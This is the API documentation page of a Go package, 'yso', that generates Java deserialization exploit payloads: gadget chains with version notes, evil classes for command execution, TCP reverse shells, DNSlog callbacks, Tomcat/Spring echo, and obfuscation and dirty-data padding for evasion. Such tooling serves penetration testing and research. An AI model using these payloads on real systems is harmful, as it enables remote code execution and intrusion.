yso

package
v1.3.3 Latest Latest
Warning

This package is not in the latest version of its module.

 Go to latest Published: May 30, 2024 License: AGPL-3.0 Imports: 16 Imported by: 1

Documentation

Index

Constants

View Source 
const (
	// CommonsCollections1/3/5/6/7链,需要<=3.2.1版本
	CC31Or321 = "org.apache.commons.collections.functors.ChainedTransformer"
	CC322     = "org.apache.commons.collections.ExtendedProperties$1"
	CC40      = "org.apache.commons.collections4.functors.ChainedTransformer"
	CC41      = "org.apache.commons.collections4.FluentIterable"
	// CommonsBeanutils2链,serialVersionUID不同,1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608
	CB17  = "org.apache.commons.beanutils.MappedPropertyDescriptor$1"
	CB18x = "org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry"
	CB19x = "org.apache.commons.beanutils.BeanIntrospectionData"
	//c3p0 serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104
	C3p092x = "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"
	C3p095x = "com.mchange.v2.c3p0.test.AlwaysFailDataSource"
	// AspectJWeaver 需要cc31
	Ajw = "org.aspectj.weaver.tools.cache.SimpleCache"
	// bsh serialVersionUID不同,2.0b4为4949939576606791809,2.0b5为4041428789013517368,2.0.b6无法反序列化
	Bsh20b4 = "bsh.CollectionManager$1"
	Bsh20b5 = "bsh.engine.BshScriptEngine"
	Bsh20b6 = "bsh.collection.CollectionIterator$1"
	// Groovy 1.7.0-2.4.3,serialVersionUID不同,2.4.x为-8137949907733646644,2.3.x为1228988487386910280
	Groovy1702311 = "org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet"
	Groovy24x     = "groovy.lang.Tuple2"
	Groovy244     = "org.codehaus.groovy.runtime.dgm$1170"
	// Becl JDK<8u251
	Becl                = "com.sun.org.apache.bcel.internal.util.ClassLoader"
	DefiningClassLoader = "org.mozilla.javascript.DefiningClassLoader"
	Jdk7u21             = "com.sun.corba.se.impl.orbutil.ORBClassLoader"
	// JRE8u20 7u25<=JDK<=8u20,虽然叫JRE8u20其实JDK8u20也可以,这个检测不完美,8u25版本以及JDK<=7u21会误报,可综合Jdk7u21来看
	JRE8u20 = "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1"
	// ROME1000 Rome <= 1.11.1
	ROME1000 = "com.sun.syndication.feed.impl.ToStringBean"
	ROME1111 = "com.rometools.rome.feed.impl.ObjectBean"
	// Fastjson fastjson<=1.2.48 存在一个链,全版本需要用hashMap绕过checkAutoType
	// 此链依赖BadAttributeValueExpException,在JDK1.7中无法使用.此时需要用springAOP绕过
	Fastjson = "com.alibaba.fastjson.JSONArray"
	// Jackson jackson-databind>=2.10.0存在一个链
	Jackson = "com.fasterxml.jackson.databind.node.NodeSerialization"
	// SpringAOP fastjon/jackson两个链的变种都需要springAOP
	SpringAOP = "org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource"
	LinuxOS   = "sun.awt.X11.AwtGraphicsConfigData"
	WindowsOS = "sun.awt.windows.WButtonPeer"
)

Variables

View Source 
var AllGadgets = map[GadgetType]*GadgetInfo{}
View Source 
var Exports = map[string]interface{}{

	"ToBytes": ToBytes,
	"ToBcel":  ToBcel,
	"ToJson":  ToJson,
	"dump":    Dump,

	"GetJavaObjectFromBytes":  GetJavaObjectFromBytes,
	"GetBeanShell1JavaObject": GetBeanShell1JavaObject,
	"GetClick1JavaObject":     GetClick1JavaObject,

	"GetCommonsBeanutils1JavaObject":       GetCommonsBeanutils1JavaObject,
	"GetCommonsBeanutils183NOCCJavaObject": GetCommonsBeanutils183NOCCJavaObject,
	"GetCommonsBeanutils192NOCCJavaObject": GetCommonsBeanutils192NOCCJavaObject,
	"GetCommonsCollections1JavaObject":     GetCommonsCollections1JavaObject,
	"GetCommonsCollections2JavaObject":     GetCommonsCollections2JavaObject,
	"GetCommonsCollections3JavaObject":     GetCommonsCollections3JavaObject,
	"GetCommonsCollections4JavaObject":     GetCommonsCollections4JavaObject,
	"GetCommonsCollections5JavaObject":     GetCommonsCollections5JavaObject,
	"GetCommonsCollections6JavaObject":     GetCommonsCollections6JavaObject,
	"GetCommonsCollections7JavaObject":     GetCommonsCollections7JavaObject,
	"GetCommonsCollections8JavaObject":     GetCommonsCollections8JavaObject,
	"GetCommonsCollectionsK1JavaObject":    GetCommonsCollectionsK1JavaObject,
	"GetCommonsCollectionsK2JavaObject":    GetCommonsCollectionsK2JavaObject,
	"GetCommonsCollectionsK3JavaObject":    GetCommonsCollectionsK3JavaObject,
	"GetCommonsCollectionsK4JavaObject":    GetCommonsCollectionsK4JavaObject,
	"GetGroovy1JavaObject":                 GetGroovy1JavaObject,
	"GetJBossInterceptors1JavaObject":      GetJBossInterceptors1JavaObject,
	"GetURLDNSJavaObject":                  GetURLDNSJavaObject,
	"GetFindGadgetByDNSJavaObject":         GetFindGadgetByDNSJavaObject,

	"GetGadget":            GenerateGadget,
	"twoBytesCharString":   SetToBytesTwoBytesString,
	"threeBytesCharString": SetToBytesThreeBytesString,
	"dirtyDataLength":      SetToBytesDirtyDataLength,

	"GetJSON1JavaObject":          GetJSON1JavaObject,
	"GetJavassistWeld1JavaObject": GetJavassistWeld1JavaObject,
	"GetJdk7u21JavaObject":        GetJdk7u21JavaObject,
	"GetJdk8u20JavaObject":        GetJdk8u20JavaObject,

	"GetAllGadget":            GetAllGadget,
	"GetAllTemplatesGadget":   GetAllTemplatesGadget,
	"GetAllRuntimeExecGadget": GetAllRuntimeExecGadget,

	"GetGadgetNameByFun": GetGadgetNameByFun,

	"GetSimplePrincipalCollectionJavaObject": GetSimplePrincipalCollectionJavaObject,

	"LoadClassFromBytes":  LoadClassFromBytes,
	"LoadClassFromBase64": LoadClassFromBase64,
	"LoadClassFromBCEL":   LoadClassFromBCEL,

	"GenerateClass":                                    GenerateClass,
	"useClassParam":                                    SetClassParam,
	"useTemplate":                                      SetClassType,
	"GenerateClassObjectFromBytes":                     GenerateClassObjectFromBytes,
	"GenerateRuntimeExecEvilClassObject":               GenerateRuntimeExecEvilClassObject,
	"GenerateProcessBuilderExecEvilClassObject":        GenerateProcessBuilderExecEvilClassObject,
	"GenerateProcessImplExecEvilClassObject":           GenerateProcessImplExecEvilClassObject,
	"GenerateDNSlogEvilClassObject":                    GenDnslogClassObject,
	"GenerateSpringEchoEvilClassObject":                GenerateSpringEchoEvilClassObject,
	"GenerateModifyTomcatMaxHeaderSizeEvilClassObject": GenerateModifyTomcatMaxHeaderSizeEvilClassObject,
	"GenerateTcpReverseEvilClassObject":                GenTcpReverseClassObject,
	"GenerateTcpReverseShellEvilClassObject":           GenTcpReverseShellClassObject,
	"GenerateTomcatEchoClassObject":                    GenTomcatEchoClassObject,
	"GenerateMultiEchoClassObject":                     GenMultiEchoClassObject,
	"GenerateHeaderEchoClassObject":                    GenHeaderEchoClassObject,
	"GenerateSleepClassObject":                         GenSleepClassObject,

	"useBytesEvilClass":         SetBytesEvilClass,
	"useBytesClass":             SetClassBytes,
	"useBase64BytesClass":       SetClassBase64Bytes,
	"useTomcatEchoEvilClass":    SetTomcatEchoEvilClass,
	"useTomcatEchoTemplate":     SetClassTomcatEchoTemplate,
	"useMultiEchoEvilClass":     SetMultiEchoEvilClass,
	"useClassMultiEchoTemplate": SetClassMultiEchoTemplate,

	"useModifyTomcatMaxHeaderSizeTemplate": SetClassModifyTomcatMaxHeaderSizeTemplate,

	"useSpringEchoTemplate":   SetClassSpringEchoTemplate,
	"springHeader":            SetHeader,
	"springParam":             SetParam,
	"springRuntimeExecAction": SetExecAction,
	"springEchoBody":          SetEchoBody,

	"useDNSlogTemplate":  SetClassDnslogTemplate,
	"dnslogDomain":       SetDnslog,
	"useDNSLogEvilClass": SetDnslogEvilClass,

	"useRuntimeExecTemplate":  SetClassRuntimeExecTemplate,
	"command":                 SetExecCommand,
	"majorVersion":            SetMajorVersion,
	"useRuntimeExecEvilClass": SetRuntimeExecEvilClass,

	"useProcessBuilderExecTemplate":  SetClassProcessBuilderExecTemplate,
	"useProcessBuilderExecEvilClass": SetProcessBuilderExecEvilClass,

	"useProcessImplExecTemplate":  SetClassProcessImplExecTemplate,
	"useProcessImplExecEvilClass": SetProcessImplExecEvilClass,

	"useTcpReverseTemplate":  SetClassTcpReverseTemplate,
	"tcpReverseHost":         SetTcpReverseHost,
	"tcpReversePort":         SetTcpReversePort,
	"tcpReverseToken":        SetTcpReverseToken,
	"useTcpReverseEvilClass": SetTcpReverseEvilClass,

	"useTcpReverseShellTemplate":  SetClassTcpReverseShellTemplate,
	"useTcpReverseShellEvilClass": SetTcpReverseShellEvilClass,

	"useHeaderEchoTemplate":  SetClassHeaderEchoTemplate,
	"useHeaderEchoEvilClass": SetHeaderEchoEvilClass,
	"useEchoBody":            SetEchoBody,
	"useParam":               SetParam,
	"useHeaderParam":         SetHeader,

	"useSleepTemplate":  SetClassSleepTemplate,
	"useSleepEvilClass": SetSleepEvilClass,
	"useSleepTime":      SetSleepTime,

	"useConstructorExecutor":       SetConstruct,
	"evilClassName":                SetClassName,
	"obfuscationClassConstantPool": SetObfuscation,
}

Functions

func Dump 

func Dump(i interface{}) (string, error)

dump 将Java 对象转换为类 Java 代码 Example: ``` gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version)) gadgetDump,_ = yso.dump(gadgetObj) ```

func FindJavaSerializableClassCode added in v1.3.0 

func FindJavaSerializableClassCode(obj interface{}) []string

func GenDnslogClassObject 

func GenDnslogClassObject(domain string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenDnslogClassObject GenerateDnslogEvilClassObject 生成一个使用Dnslog类模板的javaclassparser.ClassObject对象， 并设置一个指定的 Dnslog 域名。这个函数结合使用 useDNSlogTemplate 和 dnslogDomain 函数， 以生成在反序列化时会向指定的 Dnslog 域名发送请求的Java对象。 domain：要在生成的Java对象中请求的 Dnslog 域名。 options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` domain := "dnslog.com" // 假设的 Dnslog 域名 classObject, err := yso.GenerateDnslogEvilClassObject(domain, additionalOptions...) // 生成并配置Dnslog Java对象 ```

func GenEmptyClassInTemplateClassObject 

func GenEmptyClassInTemplateClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenEmptyClassInTemplateClassObject 生成一个使用EmptyClassInTemplate类模板的javaclassparser.ClassObject对象， 空类生成（用于template） ```

func GenHeaderEchoClassObject added in v1.2.4 

func GenHeaderEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenHeaderEchoClassObject GenerateHeaderEchoClassObject 生成一个使用HeaderEcho类模板的javaclassparser.ClassObject对象， options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` headerClassObj,_ = yso.GenerateHeaderEchoClassObject(yso.useHeaderParam("Echo","Header Echo Check")) ```

func GenMultiEchoClassObject 

func GenMultiEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenMultiEchoClassObject GenerateMultiEchoEvilClassObject 生成一个使用 MultiEcho 类模板的javaclassparser.ClassObject对象，主要用于 Tomcat/Weblogic 回显， options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` body 回显 bodyClassObj,_ = yso.GenerateMultiEchoEvilClassObject(yso.useEchoBody(),yso.useParam("Body Echo Check")) header 回显 headerClassObj,_ = yso.GenerateMultiEchoEvilClassObject(yso.useHeaderParam("Echo","Header Echo Check")) ```

func GenSleepClassObject added in v1.2.4 

func GenSleepClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenSleepClassObject GenerateSleepClassObject 生成一个使用Sleep类模板的javaclassparser.ClassObject对象 options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` yso.GenerateSleepClassObject(yso.useSleepTime(5)) ```

func GenTcpReverseClassObject 

func GenTcpReverseClassObject(host string, port int, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenTcpReverseClassObject GenerateTcpReverseEvilClassObject 生成一个使用TcpReverse类模板的javaclassparser.ClassObject对象， 这个函数结合使用 useTcpReverseTemplate ，tcpReverseHost ，tcpReversePort 函数， 以生成在反序列化时会反连指定的 tcpReverseHost ，tcpReversePort 的Java对象。 host：要设置的 tcpReverseHost 的host。 port：要设置的 tcpReversePort 的port。 options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` host = "公网IP" token = uuid() classObject, err := yso.GenerateTcpReverseEvilClassObject(host,8080,yso.tcpReverseToken(token),additionalOptions...) // 生成并配置TcpReverse Java对象 ```

func GenTcpReverseShellClassObject 

func GenTcpReverseShellClassObject(host string, port int, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenTcpReverseShellClassObject GenerateTcpReverseShellEvilClassObject 生成一个使用TcpReverseShell类模板的javaclassparser.ClassObject对象， 这个函数结合使用 useTcpReverseShellTemplate ，tcpReverseShellHost ，tcpReverseShellPort 函数， 以生成在反序列化时会反连指定的 tcpReverseShellHost ，tcpReverseShellPort 的Java对象。 host：要设置的 tcpReverseShellHost 的host。 port：要设置的 tcpReverseShellPort 的port。 options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` host = "公网IP" classObject, err := yso.GenerateTcpReverseShellEvilClassObject(host,8080,additionalOptions...) // 生成并配置TcpReverseShell Java对象 ```

func GenTomcatEchoClassObject 

func GenTomcatEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenTomcatEchoClassObject GenerateTomcatEchoEvilClassObject 生成一个使用TomcatEcho类模板的javaclassparser.ClassObject对象， options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` body 回显 bodyClassObj,_ = yso.GenerateTomcatEchoEvilClassObject(yso.useEchoBody(),yso.useParam("Body Echo Check")) header 回显 headerClassObj,_ = yso.GenerateTomcatEchoEvilClassObject(yso.useHeaderParam("Echo","Header Echo Check")) ```

func GenerateClass added in v1.3.2 

func GenerateClass(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

func GenerateClassObjectFromBytes 

func GenerateClassObjectFromBytes(bytes []byte, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenerateClassObjectFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。 LoadClassFromBytes、LoadClassFromBase64、LoadClassFromBCEL等函数都是基于这个函数实现的。 参数是GenClassOptionFun类型的函数，用于定制类对象的特定属性或行为。 bytes：要从中加载类对象的字节数组。 options：用于配置类对象的可变参数函数列表。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` bytesCode,_ =codec.DecodeBase64("yv66vg...") classObject, _ := yso.LoadClassFromBytes(bytesCode) // 从字节中加载并配置类对象 ```

func GenerateClassWithType added in v1.3.2 

func GenerateClassWithType(typ ClassType, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

func GenerateModifyTomcatMaxHeaderSizeEvilClassObject 

func GenerateModifyTomcatMaxHeaderSizeEvilClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenerateModifyTomcatMaxHeaderSizeEvilClassObject 生成一个使用ModifyTomcatMaxHeaderSize类模板的javaclassparser.ClassObject对象， 这个函数结合使用 useModifyTomcatMaxHeaderSizeTemplate 函数， 以生成在反序列化时会修改 tomcat 的 MaxHeaderSize 值的Java对象。 options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` classObject, err := yso.GenerateModifyTomcatMaxHeaderSizeEvilClassObject() // 生成并配置ModifyTomcatMaxHeaderSize Java对象 ```

func GenerateProcessBuilderExecEvilClassObject 

func GenerateProcessBuilderExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenerateProcessBuilderExecEvilClassObject 生成一个使用ProcessBuilderExec类模板的javaclassparser.ClassObject对象， 并设置一个指定的命令来执行。这个函数结合使用SetClassProcessBuilderExecTemplate和SetExecCommand函数， 以生成在反序列化时会执行特定命令的Java对象。 cmd：要在生成的Java对象中执行的命令字符串。 options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 classObject, err := yso.GenerateProcessBuilderExecEvilClassObject(command, additionalOptions...) // 生成并配置ProcessBuilderExec Java对象 ```

func GenerateProcessImplExecEvilClassObject 

func GenerateProcessImplExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenerateProcessImplExecEvilClassObject 生成一个使用ProcessImplExec类模板的javaclassparser.ClassObject对象， 并设置一个指定的命令来执行。这个函数结合使用SetClassProcessImplExecTemplate和SetExecCommand函数， 以生成在反序列化时会执行特定命令的Java对象。 cmd：要在生成的Java对象中执行的命令字符串。 options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 classObject, err := yso.GenerateProcessImplExecEvilClassObject(command, additionalOptions...) // 生成并配置ProcessImplExec Java对象 ```

func GenerateRuntimeExecEvilClassObject 

func GenerateRuntimeExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenerateRuntimeExecEvilClassObject 生成一个使用RuntimeExec类模板的javaclassparser.ClassObject对象， 并设置一个指定的命令来执行。这个函数结合使用SetClassRuntimeExecTemplate和SetExecCommand函数， 以生成在反序列化时会执行特定命令的Java对象。 cmd：要在生成的Java对象中执行的命令字符串。 options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 classObject, err := yso.GenerateRuntimeExecEvilClassObject(command, additionalOptions...) // 生成并配置RuntimeExec Java对象 ```

func GenerateSpringEchoEvilClassObject 

func GenerateSpringEchoEvilClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

GenerateSpringEchoEvilClassObject 生成一个使用SpringEcho类模板的javaclassparser.ClassObject对象， 这个函数结合使用 useSpringEchoTemplate 和 springParam 函数， 以生成在反序列化时会回显指定内容的Java对象。 options：一组可选的GenClassOptionFun函数，用于进一步定制生成的Java对象。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` classObject, err := yso.GenerateSpringEchoEvilClassObject(yso.springHeader("Echo","Echo Check")) // 生成并配置SpringEcho Java对象 ```

func GetAllGadget 

func GetAllGadget() []interface{}

func GetGadgetChecklist 

func GetGadgetChecklist() map[string]string

func GetGadgetNameByFun 

func GetGadgetNameByFun(i interface{}) (string, error)

func GetJavaObjectArrayIns added in v1.3.2 

func GetJavaObjectArrayIns() (yserx.JavaSerializable, error)

func IndexFromBytes 

func IndexFromBytes(byt []byte, sub interface{}) int

func IsTemplateImpl added in v1.3.2 

func IsTemplateImpl(name GadgetType) bool

func JavaSerializableObjectDumper 

func JavaSerializableObjectDumper(javaObject *JavaObject) (string, error)

func LoadClassFromBCEL added in v1.2.3 

func LoadClassFromBCEL(data string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

LoadClassFromBCEL 将BCEL（Byte Code Engineering Library）格式的Java类数据转换为字节数组， 并从这些字节中加载并返回一个javaclassparser.ClassObject对象。 这个函数首先使用javaclassparser.Bcel2bytes转换BCEL格式的数据，然后利用GenerateClassObjectFromBytes生成类对象。 可通过可变参数`options`来定制类对象的特定属性或行为。 data：BCEL格式的Java类数据。 options：用于配置类对象的可变参数函数列表。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` bcelData := "$$BECL$$..." // 假设的BCEL数据 classObject, err := LoadClassFromBCEL(bcelData, option1, option2) // 从BCEL数据加载并配置类对象 ```

func LoadClassFromBase64 added in v1.2.3 

func LoadClassFromBase64(base64 string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

LoadClassFromBase64 从base64编码的字符串中加载并返回一个javaclassparser.ClassObject对象。 这个函数使用GenerateClassObjectFromBytes作为其实现，并允许通过可变参数`options`来配置生成的类对象。 这些参数是GenClassOptionFun类型的函数，用于定制类对象的特定属性或行为。 base64：要从中加载类对象的base64编码字符串。 options：用于配置类对象的可变参数函数列表。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` classObject, _ := yso.LoadClassFromBytes("yv66vg...") // 从字节中加载并配置类对象 ```

func LoadClassFromBytes added in v1.2.3 

func LoadClassFromBytes(bytes []byte, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

LoadClassFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。 这个函数使用GenerateClassObjectFromBytes作为其实现，并允许通过可变参数`options`来配置生成的类对象。 这些参数是GenClassOptionFun类型的函数，用于定制类对象的特定属性或行为。 bytes：要从中加载类对象的字节数组。 options：用于配置类对象的可变参数函数列表。 返回：成功时返回javaclassparser.ClassObject对象及nil错误，失败时返回nil及相应错误。 Example: ``` bytesCode,_ =codec.DecodeBase64("yv66vg...") classObject, _ := yso.LoadClassFromBytes(bytesCode) // 从字节中加载并配置类对象 ```

func LoadClassFromJson added in v1.2.3 

func LoadClassFromJson(jsonData string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

func RepClassName 

func RepClassName(echoTmplClass []byte, oldN string, newN string) []byte

func RepCmd 

func RepCmd(echoTmplClass []byte, zw string, cmd string) []byte

func ReplaceClassNameInJavaSerilizable 

func ReplaceClassNameInJavaSerilizable(objSer yserx.JavaSerializable, old string, new string, times int) error

ReplaceClassNameInJavaSerilizable 这个 ClassName 指的是要探测的目标 jar 包里是否存在该 ClassName

func ReplaceStringInJavaSerilizable 

func ReplaceStringInJavaSerilizable(objSer yserx.JavaSerializable, old string, new string, times int) error

func SetJavaObjectClass 

func SetJavaObjectClass(object yserx.JavaSerializable, classObject *javaclassparser.ClassObject) error

func SetTemplateObjectClass 

func SetTemplateObjectClass(object *yserx.JavaObject, classBytes []byte) error

func ToBcel 

func ToBcel(i interface{}) (string, error)

func ToBytes 

func ToBytes(i interface{}, opts ...MarshalOptionFun) ([]byte, error)

ToBytes 将 Java 或反序列化对象转换为字节码 Example: ``` gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version)) gadgetBytes,_ = yso.ToBytes(gadgetObj,yso.dirtyDataLength(10000),yso.twoBytesCharString()) ```

func ToJson 

func ToJson(i interface{}) (string, error)

ToJson 将 Java 或反序列化对象转换为 json 字符串 Example: ``` gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version)) gadgetJson,_ = yso.ToJson(gadgetObj) ```

func WrapSerializeDataByDirtyData added in v1.3.2 

func WrapSerializeDataByDirtyData(serBytes []byte, length int) ([]byte, error)

WrapSerializeDataByDirtyData 通过脏数据包装序列化数据 Example: wrapSerData = WrapByDirtyData(serData,1000)~

Types

type ClassConfig 

type ClassConfig struct {
	FileName string
	Name     string
	Template []byte
	Desc     string
	Params   []*ParamConfig
}

type ClassGenConfig added in v1.3.2 

type ClassGenConfig struct {
	ClassType      ClassType
	MajorVersion   uint16
	ClassName      string
	CustomTemplate []byte
	IsObfuscation  bool
	IsConstruct    bool
	Params         map[ClassParamType]string
}

func NewClassConfig 

func NewClassConfig(options ...GenClassOptionFun) *ClassGenConfig

func (*ClassGenConfig) GetParam added in v1.3.2 

func (cf *ClassGenConfig) GetParam(name ClassParamType) (string, bool)

GetParam get param by name

func (*ClassGenConfig) SetParam added in v1.3.2 

func (c *ClassGenConfig) SetParam(k ClassParamType, v string)

type ClassParamType added in v1.3.2 

type ClassParamType string
const (
	ClassParamPort        ClassParamType = "port"
	ClassParamHeaderAuKey ClassParamType = "header-au-key"
	ClassParamTime        ClassParamType = "time"
	ClassParamHost        ClassParamType = "host"
	ClassParamHeaderAuVal ClassParamType = "header-au-val"
	ClassParamMax         ClassParamType = "max"
	ClassParamPosition    ClassParamType = "position"
	ClassParamToken       ClassParamType = "token"
	ClassParamBase64Class ClassParamType = "base64Class"
	ClassParamDomain      ClassParamType = "domain"
	ClassParamCmd         ClassParamType = "cmd"
	ClassParamHeader      ClassParamType = "header"
	ClassParamAction      ClassParamType = "action"
)

type ClassPayload 

type ClassPayload struct {
	ClassName string
	Help      string
	Generator func(*ClassGenConfig) (*javaclassparser.ClassObject, error)
}

type ClassType 

type ClassType string
const (
	ClassSleep                     ClassType = "Sleep"
	ClassSpringEcho                ClassType = "SpringEcho"
	ClassDNSLog                    ClassType = "DNSLog"
	ClassRuntimeExec               ClassType = "RuntimeExec"
	ClassProcessImplExec           ClassType = "ProcessImplExec"
	ClassTomcatEcho                ClassType = "TomcatEcho"
	ClassTcpReverseShell           ClassType = "TcpReverseShell"
	ClassEmptyClassInTemplate      ClassType = "EmptyClassInTemplate"
	ClassProcessBuilderExec        ClassType = "ProcessBuilderExec"
	ClassTcpReverse                ClassType = "TcpReverse"
	ClassTemplateImplClassLoader   ClassType = "TemplateImplClassLoader"
	ClassModifyTomcatMaxHeaderSize ClassType = "ModifyTomcatMaxHeaderSize"
	ClassMultiEcho                 ClassType = "MultiEcho"
)
const ClassRaw ClassType = "raw"

type GadgetConfig added in v1.3.2 

type GadgetConfig struct {
	Name           string
	IsTemplateImpl bool
	Template       []byte
	ChainTemplate  map[string][]byte
	Desc           string
	ReferenceFun   string
}

type GadgetFunc 

type GadgetFunc func(cmd string) (yserx.JavaSerializable, error)

type GadgetInfo 

type GadgetInfo struct {
	Name                string
	GeneratorName       string
	Generator           any
	NameVerbose         string
	Help                string
	YakFun              string
	SupportTemplateImpl bool
}

func (*GadgetInfo) GetHelp 

func (g *GadgetInfo) GetHelp() string

func (*GadgetInfo) GetName 

func (g *GadgetInfo) GetName() string

func (*GadgetInfo) GetNameVerbose 

func (g *GadgetInfo) GetNameVerbose() string

func (*GadgetInfo) IsSupportTemplate 

func (g *GadgetInfo) IsSupportTemplate() bool

type GadgetType added in v1.3.2 

type GadgetType string
const (
	GadgetSpring2                   GadgetType = "Spring2"
	GadgetJdk8u20                   GadgetType = "Jdk8u20"
	GadgetCommonsCollections11      GadgetType = "CommonsCollections11"
	GadgetURLDNS                    GadgetType = "URLDNS"
	GadgetCommonsCollections3       GadgetType = "CommonsCollections3"
	GadgetCommonsCollections2       GadgetType = "CommonsCollections2"
	GadgetJavassistWeld1            GadgetType = "JavassistWeld1"
	GadgetBeanShell1                GadgetType = "BeanShell1"
	GadgetCommonsCollections6       GadgetType = "CommonsCollections6"
	GadgetMozillaRhino1             GadgetType = "MozillaRhino1"
	GadgetSimplePrincipalCollection GadgetType = "SimplePrincipalCollection"
	GadgetCommonsCollections6Lite   GadgetType = "CommonsCollections6Lite"
	GadgetCommonsCollections5       GadgetType = "CommonsCollections5"
	GadgetCommonsCollectionsK1      GadgetType = "CommonsCollectionsK1"
	GadgetSpring1                   GadgetType = "Spring1"
	GadgetCommonsCollections9       GadgetType = "CommonsCollections9"
	GadgetFindAllClassesByDNS       GadgetType = "FindAllClassesByDNS"
	GadgetCommonsBeanutils2         GadgetType = "CommonsBeanutils2"
	GadgetHibernate1                GadgetType = "Hibernate1"
	GadgetGroovy1                   GadgetType = "Groovy1"
	GadgetCommonsCollectionsK4      GadgetType = "CommonsCollectionsK4"
	GadgetJSON1                     GadgetType = "JSON1"
	GadgetJdk7u21                   GadgetType = "Jdk7u21"
	GadgetCommonsCollectionsK2      GadgetType = "CommonsCollectionsK2"
	GadgetCommonsCollections1       GadgetType = "CommonsCollections1"
	GadgetVaadin1                   GadgetType = "Vaadin1"
	GadgetCommonsCollections4       GadgetType = "CommonsCollections4"
	GadgetROME                      GadgetType = "ROME"
	GadgetCommonsCollectionsK3      GadgetType = "CommonsCollectionsK3"
	GadgetCommonsCollections10      GadgetType = "CommonsCollections10"
	GadgetJBossInterceptors1        GadgetType = "JBossInterceptors1"
	GadgetCommonsBeanutils1_183     GadgetType = "CommonsBeanutils1_183"
	GadgetClick1                    GadgetType = "Click1"
	GadgetCommonsBeanutils1         GadgetType = "CommonsBeanutils1"
	GadgetMozillaRhino2             GadgetType = "MozillaRhino2"
	GadgetCommonsCollections8       GadgetType = "CommonsCollections8"
	GadgetCommonsBeanutils2_183     GadgetType = "CommonsBeanutils2_183"
	GadgetFindClassByBomb           GadgetType = "FindClassByBomb"
	GadgetCommonsCollections7       GadgetType = "CommonsCollections7"
	GadgetFindClassByDNS            GadgetType = "FindClassByDNS"
	GadgetCommonsBeanutils3         GadgetType = "CommonsBeanutils3"
)

type GenClassOptionFun 

type GenClassOptionFun func(config *ClassGenConfig)

